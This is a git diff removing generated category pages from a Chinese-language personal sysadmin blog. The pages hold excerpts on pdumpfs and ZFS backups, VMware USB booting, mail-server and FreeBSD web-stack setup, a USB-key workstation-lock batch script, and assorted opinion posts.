    - - - 2013-08-07 - - - - - - - - - 工作筆記 - - - - - -
    - - - 原文參考自: -http://freebsd.1045724.n5.nabble.com/ports-179611-running-sysutils-pdumpfs-fails-with-ruby19-td5820350.html 在/etc/crontab增加一行: > * 18 * * * root pdumpfs /home /home1 超過30M的文件不備份 > pdumpfs –exclude-by-size 30M /home /home1 排除 .CAB,.cab,.exe: > pdumpfs –exclude-by-glob “.CAB” –exclude-by-glob “.cab” –exclude-by-glob “.exe” –exclude-by-size 30M /home /home1 自動備份,並將結果mail出去 > 00 23 * * * root pdumpfs –exclude-by-glob “.CAB” –exclude-by-glob “.cab” –exclude-by-glob “.exe” –exclude-by-glob “.EXE” –exclude-by-glob “.zip” –exclude-by-glob “.ZIP” –exclude-by-size 30M -q -l /tmp/bak.log /home /home1;sendmail shiwei@cfido.com </tmp/bak.log - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 9.1 的 pdumpfs +Ruby 1.9 會有問題

    -
    - - - 2013-08-07 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天繼續搶救因為空調問題結果造成磁碟錯誤的備份用SERVER -昨天重灌 FreeBSD9.1之後,還有一些小工具沒有裝。 -然後在安裝 pdumpfs時,雖然沒有發生錯誤,但是要執行卻無法執行 -錯誤訊息如下 > % pdumpfs /home/turutani /backup/turutani > > /usr/local/lib/ruby/1.9/rubygems/custom_require.rb:36:in require': cannot load such file -- ftools (LoadError) > > from /usr/local/lib/ruby/1.9/rubygems/custom_require.rb:36:inrequire’ > > from /usr/local/sbin/pdumpfs:51:in `<main>‘   -GOOGLE到這篇,有人放出 patch ,可是我不會用………(或者應該說用了也沒用) -http://freebsd.1045724.n5.nabble.com/ports-179611-running-sysutils-pdumpfs-fails-with-ruby19-td5820350.html -想到說FreeBSD除了ports之外,還有個pkg_add 的方式可以安裝軟體 -所以翻了一下文件,也找到了指令 > pkg_add -r pdumpfs 這樣裝的pdumpfs 似乎不是最新1.3.2版,不過也看不出來 > root@ds:/root # pdumpfs -v > > pdumpfs 1.3 反正能正常執行就好了,這次應該會把 rsync備份的方式改成pdumpfs來作吧! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] ZFS真是好物

    -
    - - - 2013-08-06 - - - - - - - - - 工作筆記 - - - - - -
    - - - 因為機房空調出問題,結果拿來備份用的PC系統硬碟掛點,雖然我有用mirror保護,但是因為是系統檔案毀損的關係,有MIRROR也沒屁用,這大概是MIRROR的盲點吧。 -  -anyway,剛剛重灌FreeBSD 9.1 (大概只花半小時不到就做完下載、寫入到隨身碟、安裝) -登入系統之後,馬上 zpool import ,哈哈,東西果然都還在 -接著就zpool import pool_name 東西就都回來了。 -這已經是第二次救回zfs的資料了,真的是威力強大無比啊! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在VMWARE Player中,透過本機USB隨身碟開機的方式

    -
    - - - 2013-04-10 - - - - - - - - - 工作筆記 - - - - - -
    - - - VMWARE PLAYER真的是超級方便的免費軟體,一直以來我都用來系統測試、開發新功能。 -在之前筆電更換成Plextor 256G SSD以後,整個更是如虎添翼,虛擬機開起來比大部分的辦公室電腦還快! 不過咧,還是有一些缺點的,比如說,不能直接用接在本機的USB隨身碟開機! -現在不管是測試Linux版本或者是安裝Win7/8 ,我都是用隨身碟來作。 -Win7的安裝光碟漸漸因為筆電的體積縮小,不再搭載光碟機、還有桌機都改買品牌電腦的緣故,慢慢消失在我的桌上了。 -但是!人生就是這個但是啊! -之前終於讓我找到了解決方法,簡單來說,就是先用一個特殊的ISO開機,然後connect mass storage,再從開機選單中選擇USB,就可以了。操作畫面如下 -準備事項 -1.一隻可開機的USB隨身碟 -可開機隨身碟,我都是用 YUMI 來製作,真的很好用! -2.VMWARE PLAYER -直接到官網DOWNLOAD吧,不用錢的!不過要註冊帳號唷! -前往下載VMWARE PLAYER -3.Plop Boot Manager -這次的重點,用來建立一個可以抓到本機USB隨身碟的臨時作業環境 -官網:http://www.plop.at/en/bootmanager/index.html -下載網頁:http://www.plop.at/en/bootmanager/download.html -  -開始進行測試 -1.建立一個新VM -2.選擇剛剛下載的 Boot Manager ISO檔案 -3.選擇「將要從隨身碟安裝的OS」 -4.選擇VM的名字,還有要存放VM檔案的目錄 -5.選擇磁碟機大小 -6.完成設定 -VM設定結束 -  -接著把VM開起來,注意右上角有個箭頭符號,點下去會有虛擬機的硬體裝置列,一開始沒注意這邊,結果找好久都找不到。點開之後,會看到一排虛擬機的硬體狀態,其中有一個是MASS STORAGE Device ,在這個圖示上按右鍵,選Connect -注意看的話會發現連接後,圖示會變得不一樣 -接下來就移動游標到USB,按下ENTER,就可以從本機上的USB隨身碟開機啦! -  -有了這方法之後,要從USB開機就再也不是不可能的夢想了,可以省去很多製作ISO檔的時間! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 背投影人形展示立牌

    -
    - - - 2013-03-28 - - - - - - - - - 工作筆記 - - - - - -
    - - - 昨天去參加精誠的研討會時,他們在現場展示的。滿有趣的東西,不過稍嫌死板了點。 現場看的時候,投影出來的文字很粗,幾乎都糊掉了,看不清楚。 不過廠商表示這是兩三年前的產品,已經有1080P的機種,不會再有這問題。 OS:那你擺個老東西出來幹嘛?? -不過很特別的是,從正前方看,和一般投影機不同,眼睛不會被強烈光線直射,據說是因為啥魚眼鏡頭又是啥聚焦原理的,聽不太懂。 -我是有問說能不能跟觸控結合,廠商表示也OK,但是就是比較高階的機種了。 -http://www.youtube.com/watch?v=YAXHkN2fu_w -可能大概應該我想一組售價會在20-30左右.. -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 簡單利用雙槽硬碟外接底座配合 群暉 NAS 達到異地備援

    -
    - - - 2013-03-26 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    前陣子的內湖機房大樓失火問題,又再次凸顯了「異地備援」的重要性。

    - -

    雖說那次的案件是頻寬方面的問題,不過也提醒我現在公司內資料備份還沒有真正異地備援的事實。

    - -

    以往作異地備援,最大的問題就是頻寬不足以及REMOTE端設備的投資費用。以現有資料量約1000G來看,即使是用中華電信的100M/100M的光纖線路,真的要sync完1000G,第一次也都要跑上好幾個小時甚至好幾天,而之後每次的sync則依照設備運算能力而定。

    - -

    一直以來,就因為這兩個問題卡著,讓異地備援在我公司內都只是個口號,毫無實際作為..So Tired

    - -

    不過,之前逛網站的時候,偶然發現一個東西

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/敗家/page/1/index.html b/themes/public/categories/敗家/page/1/index.html deleted file mode 100644 index 5ea36a58..00000000 --- a/themes/public/categories/敗家/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E6%95%97%E5%AE%B6/ \ No newline at end of file diff --git a/themes/public/categories/未分類/index.html b/themes/public/categories/未分類/index.html deleted file mode 100644 index a46970c8..00000000 --- a/themes/public/categories/未分類/index.html +++ /dev/null @@ -1,793 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [轉載] 用USB隨身碟當電腦鎖

    -
    - - - 2016-02-18 - - - - - - - - - 未分類 - - - - - -
    - - - 原文:http://www.techsnack.net/lock-your-computer-using-usb-flash-drive/ -update: -用簡單的batch應該也可以做到 > @echo off > > :1 > > if exist “d:\test.txt” ( > > goto :1 > > ) else ( > > echo “key file not found” > > rundll32.exe user32.dll LockWorkStation > > goto :1 > > ) [flipclock ] -  -  -o you know that we can use our USB flash drive as computer lock? You need a USB flash drive and a freeware called Log Monitor. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + iRedmail 0.9.4 + postfixadmin 安裝筆記

    -
    - - - 2016-01-27 - - - - - - - - - 未分類 - - - - - -
    - - - 系統基礎設定 -Clone from a fresh new install CentOS 6.6 in vmware -power on -新增DNS 伺服器 -vi /etc/resolv.conf -刪除內容 新增以下資料 -nameserver 168.95.1.1 -nameserver 8.8.8.8 -nameserver 8.8.4.4 -啟動網路卡 -cp /etc/sysconfig/network-scripts/ifcfg-eth2 /etc/sysconfig/network-scripts/ifcfg-eth3 -vi /etc/sysconfig/network-scripts -刪除 MAC -修改底下的設定 -BOOTPROTO=static IPADDR=192.168.10.220 NETMASK=255.255.255.0 -vi /etc/sysconfig/network -NETWORKING=yes HOSTNAME=iredmail GATEWAY=192.168.10.246 -service network restart -修改時區 -yum install ntpdate –y -cp /usr/share/zoneinfo/Asia/Taipei /etc/localtime -ntpdate 192.168.10.243 -reboot (讓hostname 生效) -登入 -安裝基本指定 -yum install –y wget telnet vim ftp epel-release bind-utils - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Linux 平台上的群組軟體 Zentyal / iRedMail / ZEG 測試 groupware on linux test

    -
    - - - 2016-01-26 - - - - - - - - - 未分類 - - - - - -
    - - - Linux 平台上的群組軟體 Zentyal / iRedMail / ZEG 測試 groupware on linux test zentyal community edition -優點 - 整合完整,甚至連AD的功能都包進去了 安裝簡單,預設就有提供相對完整的管理功能、介面 要新增網域、使用者、郵件、別名都很簡單 有整合Exchange (EAS / EWS 其中之一) 缺點 - 在行動裝置上設定Exchange類型的帳戶碰到困難,無法順利完成設定 - 似乎還滿吃資源的,預設的VM開 2 core /4G ,在esxi中會出現資源耗盡導致系統停擺的狀況,把硬體加到 4 core / 8G 才沒再發生 - 雖然在Outlook 2007⁄2010 可以順利完成Exchange帳號設定,但是outlook 2016 會失敗… - 在手機上只能設定IMAP/POP3模式 - MAC Outlook 2011 設定失敗 結論:行動裝置支援不足,尚待改進 - iRedMail -優點 - 安裝簡單,但要花一點時間,尤其在更新clamAV的時候常會碰到逾時的狀況,需要強制中斷 預設有管理介面 整合Exchange 有中文的論壇可以發問 http://www.iredmail.com/bbs 有個張工好像很厲害,不過回應速度有點慢 outlook 2016 / iphone 設定 Exchange 信箱都正常,行事曆也都OK webmail (SOGo) 有中文介面 支援 EAS 不過不支援 EWS 缺點 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 燦坤 Surface Pro3 i5/256 送鍵盤 「國王的優惠」

    -
    - - - 2016-01-18 - - - - - - - - - 未分類 - - - - - -
    - - - 今天早上收到燦坤寄來的 EDM -裡面有提到 Surface Pro3 的優惠方案 -雖然沒有想買,不過因為某些原因,還是連進去關心一下 -文案上面寫說買 Surface Pro 3 i5/256G 以上規格的機器,立刻省4000,而且送實體鍵盤! -喔喔喔,這方案聽起來不錯啊!!! -但是在網站上逛了一下,沒有看到半台 i5/256G 以上的規格啊!! -那這個優惠是怎樣啦!?   - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS LAMP Postfix Postfixadmin Virtual Mail Multi Domain SASL TLS SSL Dovecot MySQL

    -
    - - - 2016-01-18 - - - - - - - - - 未分類 - - - - - -
    - - - CentOS LAMP Postfix Postfixadmin Virtual Mail Multi Domain SASL TLS SSL Dovecot MySQL 安裝步驟整理 系統基礎 檢查 hostname 是否有設定正確,hostname -f 如果跑不出正確結果,編輯 /etc/hosts 內容 -#####安裝會用到的小工具 -yum install epel-release ; yum list > yum.txt yum install ftp traceroute telnet vim joe lynx bind-utils wget openssl ntpdate mail -#####修改時區 cp /usr/share/zoneinfo/Asia/Taipei /etc/localtime ntpdate time.stdtime.gov.tw -加入 crontab -*/10 * * * * * ntpdate time.stdtime.gov.tw > /dev/null 2>&1 -或者是直接安裝 ntp 服務 -yum install -y ntp - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [測試] WordPress中14个实用的函数

    -
    - - - 2016-01-06 - - - - - - - - - 未分類 - - - - - -
    - - - ![](https://secure.gravatar.com/avatar/142efd6f52d5322aa647f097e0b01aef?s=64) 2011年9月29日15:50 作者:否子戈 [0条评论](http://www.utubon.com/post/341.html#respond) 阅读966次 分类:[WordPress内核](http://www.utubon.com/category/wpcore) **WordPress临时API** set_transient(), get_transient(), delete_transient() 这个函数类似 于用于存储检索选项数据库表单的get_options()以及update_options()函数。 他们的主要区别在于,你可以给这个临时API函数传递一个时间参数,作为数据库输入的过期日。当参数显示的时间到达之后,输入会被移除。如果你需要缓存数 据或查询某个短期时间内的结果,这会是个相当有用的函数。 set_transient的参数: set_transient($transient, $value, $expiration); 将某个值保留在数据库中一小时: set_transient('the_name', $special_query_results, 60*60); 结果值: $value = get_transient('the_name'); **WordPress “定时任务”函数** wp_schedule_event(time(),?'hourly',?'my_schedule_hook'); 如果你需要定时执行某段代码,像是检查RSS订阅、数据库备份或是重设数据库值等,就可以用到这个函数。[这里](http://themocracy.com/2010/02/wp-cron-automating-scheduling/)有一个关于这个函数的英文教程。 **WordPress HTTP API** wp_remote_get(?$url,?$args?=?array()?); 这是个用于检索网页内容的简单函数。函数把检索结果存储在一个数组里。你不仅可以得到网页的结果内容,还可以获取网页的页头信息和相应代码。 **轻松获取RSS 订阅** $feed?=?fetch_feed(?$uri?); fetch_feed是一个用来获取订阅内容的简单WordPress函数。这个函数可以检索、分析并自动缓存订阅内容。 **WordPress邮件函数** wp_mail() wp_mail(?$to,?$subject,?$message,?$headers,?$attachments?); 示例: Example: $to = 'kriesi@gmail.com'; $subject = 'Hello Kriesi!'; $message = 'This message was sent by wordpress' $mail = wp_mail($to, $subject, $message); if($mail) echo 'Mail delivered'; 相当简单实用的函数,利用这个函数你可以发送页头信息和附件、普通文本、HTML信息以及其他各种选项。 **计时函数** human_time_diff( $from, $to ) 这个函数显示出的时间效果不是普通的时间格式,而是“XXX发布于XXX小时前”这样。 **WordPress get_comments函数** get_comments() 在评论循环外检索评论内容。 **字符串验证** wp_kses($string, $allowed_html, $allowed_protocols); 如果你需要过滤不受信任的用户输入内容,wp_kses会是个很实用的函数。这个函数确保$string中只出现经许可的HTML元素名称、属性和属性值以及正常的HTML实体。 **WordPress文本转换** wptexturize() 这个函数把常用的字符串转换成印刷时采用的正确符号,比如破折号、省略号等,有时也会为某些段落加上排版引号。 wpautop() 给字符串添加<p>标签 **WordPress短码API** add_shortcode(), do_shortcode() add_shortcode()可以快速为你的日志内容创建宏。假设你希望把日志里的某些内容包围在一个div块里,并且加上若干类和id,让你可以创建多个内容栏。你可以用HTML编辑器进行编辑,然后输入下面的内容: <div class='one_third'>内容</div> **用PHP函数生成WordPress日志** wp_insert_post() 这个函数在数据库中插入文章页面和自定义文章类型。它会过滤变量并执行检查,补充日期/时间等缺失变量。如果用户可以通过你的网站前台提交内容,这个函数会相当有帮助。 **用PHP函数生成WordPress评论** wp_insert_comment() 和wp_insert_posts类似,不过wp_insert_comment插入的是评论。 **WordPress对象缓存** wp_cache_add(),? - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 10.1 apache24 / mysql / php56

    -
    - - - 2016-01-05 - - - - - - - - - 未分類 - - - - - -
    - - - 今天發現 pkg install 比 ports make install 快好多好多!我以前花了好多時間在make啊!!! -  -APACHE 24 pkg install apache24 -sysrc apache24_enable=yes -service apache24 start -Web 根目錄在 /usr/local/www/apache24/data -開啟 http://your_server_ip -應該要看到 It Works ! -  -MYSQL pkg install mysql56-server -sysrc mysql_enable=yes -server mysql-server start -mysql_secure_installation  (記得改密碼,其他應該ENTER帶過就可以) -  -PHP 5.6 pkg install php56 php56-mysql php56-mysqli php56-gd php56-mbstring -cp /usr/local/etc/php.ini-production /usr/local/etc/php.ini -修改 php.ini 找到 DirectoryIndex  index.htm 這一行 -改成 DirectoryIndex index.php index.html index.htm -再加入底下這幾行 <FilesMatch “.php$”> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch “. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/1/index.html b/themes/public/categories/未分類/page/1/index.html deleted file mode 100644 index d434c909..00000000 --- a/themes/public/categories/未分類/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E6%9C%AA%E5%88%86%E9%A1%9E/ \ No newline at end of file diff --git a/themes/public/categories/未分類/page/10/index.html b/themes/public/categories/未分類/page/10/index.html deleted file mode 100644 index 5ce6ebda..00000000 --- a/themes/public/categories/未分類/page/10/index.html +++ /dev/null @@ -1,799 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [雜念] Mac Mini 上出現莫名 APPLE ID

    -
    - - - 2014-05-19 - - - - - - - - - 未分類 - - - - - -
    - - - 剛剛在PC上看到 itune 有更新,想說切到旁邊的 Mac Mini 去順手更新一下 -結果看到AppStore 有五六個軟體有新版,所以就順便點了更新 -結果一直出現什麼有其他ID之類的訊息 -看了一下,發現我在這台的mac mini 上的appstore中的 Apple ID居然變成是 auoboy@hotmail.com ?? -這不是我的ID啊,而且我這台 mac mini都已經用了那麼久,裝了很多APP去了,一直都是用我自己的帳號啊 -突然變成這個莫名的ID,感覺茸茸的 …. -已經先把網路,也重新登入我的apple ID了 -不曉得還要檢查什麼地方嗎? -  -p.s 那個ID拿去google 發現是某人的MSN帳號耶 @@ - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] s3fs

    -
    - - - 2014-05-16 - - - - - - - - - 未分類 - - - - - -
    - - - http://code.google.com/p/s3fs/wiki/FuseOverAmazon -s3fs FUSE-based file system backed by Amazon S3 -  Overview s3fs is a FUSE filesystem that allows you to mount an Amazon S3 bucket as a local filesystem. It stores files natively and transparently in S3 (i.e., you can use other programs to access the same files). Maximum file size=64GB (limited by s3fs, not Amazon). -s3fs is stable and is being used in number of production environments, e.g., rsync backup to s3. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 台灣技職教育的危機與轉機——Maker 型技職教育 全文網址: 台灣技職教育的危機與轉機

    -
    - - - 2014-05-16 - - - - - - - - - 未分類 - - - - - -
    - - - 原文網址: http://mag.udn.com/mag/news/storypage_preview_only.jsp?f_ART_ID=513875 -還滿喜歡這篇文章裡的一些論點 -  -● 前言 -在資訊工程領域裏,我們經常看到一個現象,那就是很多外科系半路出家的程式領域人才,實力都非常堅強,而且通常在產業界表現傑出。但是相反的,很多資訊工程系畢業的學生,連程式都不會寫,而且畢業之後通常不走資訊領域,從事的工作也與所學無關。 -這樣的現象,讓我開始思考,究竟在人才培育的過程當中,大學應該扮演甚麼角色?而一個大學資訊工程系的老師,又應該傳授給學生哪些知識呢? -● 資訊領域的擴展 -在我大學的時代,電腦領域還沒有像現今這麼多元與豐富。那時候我們不知道甚麼是「網路」,還沒有見過「視窗」環境,每個人手上拿一個容量只有 360k 的磁碟片,插進電腦磁碟機後,就可以開始寫程式。 -但是現在,我們一開機就上了網路,用 Google 隨隨便便就可以找到全世界任何地方的程式與資料,臉書上面的好友成千上萬,每個人關注的焦點都不太相同,即使同樣身在資訊工程系,但是大家的研究方向與專 長都差異甚大,同一個科系的老師間都不知道其他人到底在研究些甚麼?不同領域者寫的論文往往其他領域的人都看不懂,然後每個人都專注在自己的領域當中,沒 有任何一個人可以理解整個產業與學術的整體現況。 -資訊工程領域,從軟體到硬體,又可以分為「硬體、韌體、系統軟體、應用軟體、網路、動畫、遊戲、人工智慧、資訊管理」等領域,而每個領域又可以進一步細分 成更多的子領域,像是硬體可分為「數位或類比」的電路,而系統軟體又包含「作業系統、編譯器、組譯器、虛擬機、…」等等。 -● 研究與產業的分化 -於是,我們的學術研究,也就這樣的區分再區分,區分到極為細小的程度,就成了一個研究主題。而一個資訊領域的研究者也就這樣在一個細小的主題上研究了一輩 子。或者採用另一種功利的做法,在國科會的補助利誘下隨波逐流,神經網路技術熱門的時候就去做神經網路研究,雲端技術紅了之後就突然變成了雲端專家。 -然後,產業界也有類似的細分情況,做電路板的一直做電路板,寫驅動程式的人一直寫驅動程式,做晶片的區分得更細,從「設計軟體、蓋晶圓廠、電路設計、 VHDL、Verilog 設計、製程、光罩、封裝、測試……」,每個人幾乎都只熟悉他的那一小部份。而整體的產業,就在這種情況之下被切割得支離破碎,但也因此而能透過專注與分工 建立起龐大且複雜的工業體系。 -在軟體方面,每個程式語言通常都各自形成一套體系,即使同樣在網站設計領域,寫ASP的通常不懂怎麼寫 PHP,寫 PHP 的又不懂 Ruby on Rail,當然這些人對 C/C++ 所形成的系統程式也會有隔行如隔山的感覺。 -● 當今資工教育的反思 -於是,當一位沒有技術背景的高中生,進入到大學資工系的時候,勢必感到徬徨、困惑與焦慮。 -當他從「計算機概論、微積分、機率統計、線性代數、離散數學、工程數學、程式設計、電子學、電路學、數位邏輯、資料結構、演算法、系統程式、組合語言、作 業系統、編譯器、軟體工程、專案管理、視窗程式、動畫設計、遊戲設計、行動裝置程式設計、網路概論、網路管理、網路程式設計、TCP/IP協定、無線網 路、人工智慧、神經網路、資料庫」等等一路修上來,即便經過了大學長達四年的訓練,也往往只能走馬看花,而難以成為真正的專家或技術高手。 -但是對那些從「數學系、哲學系、社會學系…」等領域半路出家,某天突然想到要跨入程式領域的非本科人士而言,他們根本就不會去學那麼多的東西,而是從 一個他有興趣的主題,例如架設網站、或者寫手機程式開始,一路採用「做中學、學中做」的方式,不斷的進行「思考—實作—思考—再實作」的循環,直到自己在 那個領域能夠悠遊自在、無所掛礙,然後他們就成了該領域的傑出人才。 -於是,我們不禁要問,那些大學資工系為何要教那麼多樣化的課程,但卻又培養不出優秀的技術人才呢? -● 資工教育的另一種可能 -我們是否應該採取另一種方式,學習「半路出家那些人」的訓練方式,來設計「資訊工程科系」的課程呢?暫且讓我們想想看這樣的方式會不會更好! -假如有個大學資工系,該科系所設計的課程就是為了要培養「專業的程式人才」,於是當他們看到像 Xdite 這樣從數學系來的人可以成為 Ruby on Rail (RoR)網站設計專家,就決定了要朝這方面設計課程。於是他們重新設計了整個課程,如下所示: -  ❝ Web 概論、HTML 、CSS、 JavaScript、 Ruby、 Rail、 Ruby 的系統軟體、網站效能分析與調校、AJAX、Rubygem…… ❞ 此時,假如那些來念這個科系的人都非常確定自己要成為 Ruby on Rail 的專家,而且動機超強,那麼或許這個科系有機會培養出這方面的傑出人才。 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 保羅沃克車禍亡 駕駛遺孀告保時捷

    -
    - - - 2014-05-14 - - - - - - - - - 未分類 - - - - - -
    - - - 原文網址: http://udn.com/NEWS/ENTERTAINMENT/ENT5/8673956.shtml 【聯合報╱蘇詠智】 2014.05.14 04:08 am 保羅沃克車禍身亡,駕駛發生事故保時捷車的友人羅勃遺孀克莉絲汀提出告訴,認為保時捷該款車設計不良,導致意外發生,使自己面臨喪偶之痛。 -據「福斯新聞」報導,有關當局判定意外是因未遵守安全速限,使得車子失控撞上路樹起火,但克莉絲汀的訴狀表示丈夫當時並沒有超速駕車,反而車子設計有問題,保時捷方面尚未有回應。 前幾天在PTT上和鄉民「討論」iphone & android 系統的一些話題 有鄉民提到類似的論點, 「你手機公司為什麼要設計一個有安全漏洞的產品給我?」(指的是android的可以手動打開安裝未知來源APK 這個問題) 「我是消費者耶,我為什麼要去瞭解怎樣的行為會導致系統安全出現漏洞?」 同時也提出汽車駕駛這類的話題作為舉證 今天再看到這篇新聞,還頗有FEEL的。 「我是消費者耶,我怎麼知道這樣的行為會導致車子不安全,你汽車公司不應該推出這種有可能讓使用者陷入危險情境的產品啊!」 滿好奇最後這個CASE會怎麼判的,如果真的贏了,那以後就很有得玩了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [轉貼] PTT-Gossiping-[新聞] 高鐵抽手 青埔、烏日成地雷區-ceca

    -
    - - - 2014-05-03 - - - - - - - - - 未分類 - - - - - -
    - - - 專業的分析! -  -作者: ceca (生活藝術大師� � �N�) 站內: Gossiping 標題: Re: [新聞] 高鐵抽手 青埔、烏日成地雷區 時間: Sat May 3 10:59:08 2014 -我講過很多次高鐵是假議題,但好像沒在八卦板講過. -基本上高鐵站站體會蓋的遠離市區,主要我直接視它就是炒地皮. -因為台灣稅金很低,所以政府永遠都在炒地皮,公共建設也是要炒地皮,不然都會破產. -因此,建設自償率高,才會比較容易通過,自償率低,通常都會卡個十幾年到幾十年. -而自償率??..你不炒地皮哪來的自償率??..動不動就幾百億阿大哥… -so..同樣的,高鐵如果不預留炒地皮的空間,他會蓋不起來. -因此,他必須把站蓋在外圍,然後吵那邊地皮,把他的建設金費再賺回來. -就像高雄捷運要先通路竹有異曲同工之妙… -但是高鐵還是假議題,因為炒房無論怎樣炒,你不能離開基本面. -基本面很簡單… -1.工作機會. -2.交通. -3.生活機能. -當你遠離基本面,也許短時間內你會賺,因為炒作. -可是只要遇到反轉,你就完蛋了. -你會第一個跌,將來回漲你也最後一個漲. -so…外圍基本上是賭徒的天堂,然後笨蛋自住戶的墳場. -賭徒因為奢侈稅,所以最近大量撤出中古屋市場跑去玩預售屋.拼在兩年內賭一把脫手. -然後因為市區太貴總金額太高.無法在蓋好前確定脫手.所以去玩郊區. -再用一大堆廣告和話術去騙那些買不起市區新屋又瞧不起市區中古屋的慘戶去接手. -台北也許比較聰明,因為畢竟吵了12年,沒看過豬走路也吃過豬肉. -所以深刻的知道”門牌”效應威力有多強大. -但台中高雄甚至桃園很多慘戶就蠢爆了,一堆往外買… -不過..ok..這邊不多著墨,反正點到就好. -來講高鐵. -我們比較一下傳統的火車站和高鐵有啥不同. (現在台鐵,尤其台北高雄,因為搭乘人口下降,所以效能有打折) -先看主要乘客. -誰會搭火車?? 學生,上班族,長短途旅客,外勞….族繁不及備載. -誰會搭高鐵?? 出差者/辦事情,長途旅客. -再看其他利用. -火車可以有運輸作用,但高鐵完全只有人再搭. -所以基本上消費型態,高鐵是很限定的,不像火車站非常多元化. -高鐵最多就是吃得…其他很難賣. -因為出差/辦事情的人很忙,沒空跟你逛街五四三. -長程旅行的旅客因為旅行有計畫,所以高鐵一到站,很快就轉承走. -因此消費品在高鐵站很難賣. -但火車站很全面性,因為阿貓阿狗都會在那邊上下車.更不論還有進出貨方便. -再來看車站的特性. -火車等待時間間隔,5~N個小時…平均旅客等待半小時以上(除非你看好時刻表) -高鐵,30分鐘一班,平均等待10分鐘左右. -所以由此來看,高鐵乘客基本上根本沒空出站,因為一下子車就來了. -台鐵則是很可能提早到,或轉車,或是看錯時間OOXX -所以你需要在火車站四周打發30分鐘甚至小時以上. -所以…高鐵站乘客出站率很低,火車站四周都是人. -然後看人民對火車和高鐵的使用性. -一般人一年搭不到10次高鐵,甚至應該只有兩三次. -一般人搭台鐵可多了,因為你要考慮到學生天天搭,某些上班族天天搭. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 689 BJ4

    -
    - - - 2014-04-02 - - - - - - - - - 未分類 - - - - - -
    - - - 參加VMWARE的研討會,報到序號好死不死的就是 689 ………………. - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] DIY FC Storage

    -
    - - - 2014-03-31 - - - - - - - - - 未分類 - - - - - -
    - - - 因為工作上的需求,最近在測試VDI的環境,雖然我本來已經有DELL的MD系列Storage 但是走的是iscsi的架構,原本只有 1G的頻寬, 考慮到VDI在某些特定時段會發生大量的流量吞吐的情形,而且SI對於在現有環境下 實際測試出來的數據不滿意,覺得不是很適合拿來建置VDI的環境。 當然啦,廠商想要賺硬體的錢,這種想法我可以接受 不過總是要知道如果改走8G甚至16G的fiber channel storage 和升級成10G的ISCSI 效能會差多少 可是廠商表示要借到整組走光纖的Server + Switch + Storage 可能有困難 而且基本上我手邊的機器也沒辦法停機下來裝HBA卡,畢竟只是為了測試而已 再加上不好光明正大的跟老闆要個五萬十萬的預算就為了看看跑出來的效果如何, 老闆大概只會回我「共體時艱」… -那借又借不到,老闆又不給預算,那怎麼辦呢? 想來想去,乾脆來土炮一組好了! 機房內有一些零組件,還有一台退役的R410,要搞起來應該不算太困難吧. -底下簡單介紹這次測試用到的配備,其實光算硬體的價錢,真的不高, 畢竟都是一些散置在機房的備品,真正的額外支出很少 -1.DELL 4G HBA 卡 DELL QLE2460 4G HBA Adapter x 2 / 300 RMB以內 淘寶購買,一張一百多塊RMB 這是最具風險的部分,因為要從淘寶買過來,不敢保證東西到底會不會有問題 不過因為便宜,還是跟他賭賭看,8G的HBA售價幾乎是10倍以上,所以不考慮 請大陸的同事買了之後直送台灣,很快就收到了 -2.5.25轉 2.5 x4 / 1500 台幣 這次我計畫要測試4G的FC實際上到底能夠跑到多少速度, 如果用2.5”傳統硬碟,擔心硬碟速度會跟不上, 所以找了退役的四顆M4 64G SSD作為儲存空間 因為一般PC不會有這麼多的SATA電源可以用,所以找了一個這種設備 http://www.icydock.com.tw/goods.php?id=97 http://www.pcstore.com.tw/megabid/M13937041.htm 把機殼上的一個5.25空間轉成4 x 2.5, 